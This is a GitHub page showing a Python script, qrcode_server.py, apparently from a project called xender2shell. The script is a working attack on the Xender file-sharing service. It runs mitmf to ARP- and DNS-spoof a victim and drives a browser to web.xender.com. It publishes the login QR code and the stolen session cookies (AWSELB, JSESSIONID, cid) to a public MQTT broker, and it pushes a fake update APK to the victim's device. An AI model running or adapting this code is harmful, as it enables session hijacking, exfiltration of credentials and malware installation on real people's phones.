-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathqrcode_server.py
More file actions
71 lines (61 loc) · 2.3 KB
/
qrcode_server.py
File metadata and controls
71 lines (61 loc) · 2.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import paho.mqtt.client as mqtt
import time
import json
import requests
import signal
import subprocess
import os
import sys
client = mqtt.Client()
client.connect("broker.hivemq.com", 1883, 60)
target = '{}'.format(sys.argv[1])
gateway = '{}'.format(sys.argv[2])
mitmf = subprocess.Popen(['mitmf', '-i', 'eth1', '--spoof', '--arp', '--dns', '--analyze', '--ferretng', '--gateway', gateway, '--target', target])
print "starting browser"
driver = webdriver.Firefox()
driver.get("http://web.xender.com")
try:
element = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.TAG_NAME, "img"))
)
except:
pass
while True:
try:
time.sleep(2)
image = driver.find_element_by_tag_name("img")
img_src = image.get_attribute("src")
# print img_src
client.publish("xender", str(img_src))
app_bar = driver.find_element_by_class_name("appModule_ic")
if app_bar:
print "Found application button"
print app_bar.click()
install_app = driver.find_element_by_class_name("installApp_btn")
if install_app:
#install_app.click()
upload = driver.find_element_by_id("modelUpload")
upload.send_keys(r"/root/xender2shell/xen_update.apk")
#time.sleep(5)
client.publish("xender", "update")
#pickle.dump(driver.get_cookies(),open("cookies.pkl","wb"))
AWSELB = driver.get_cookie("AWSELB")
JS = driver.get_cookie("JSESSIONID")
cid = driver.get_cookie("cid")
print AWSELB["value"]
print JS["value"]
print cid["value"]
cookie = '{"AWSELB":"' + AWSELB["value"] + '","JSESSIONID":"' + JS["value"] + '","cid":"' + cid["value"] + '"}'
client.publish("xender", cookie)
time.sleep(3)
mitmf.kill()
time.sleep(3)
client.publish("xender", "refresh")
os.killpg(os.getpgid(mitmf.pid), signal.SIGINT)
except Exception as e:
print e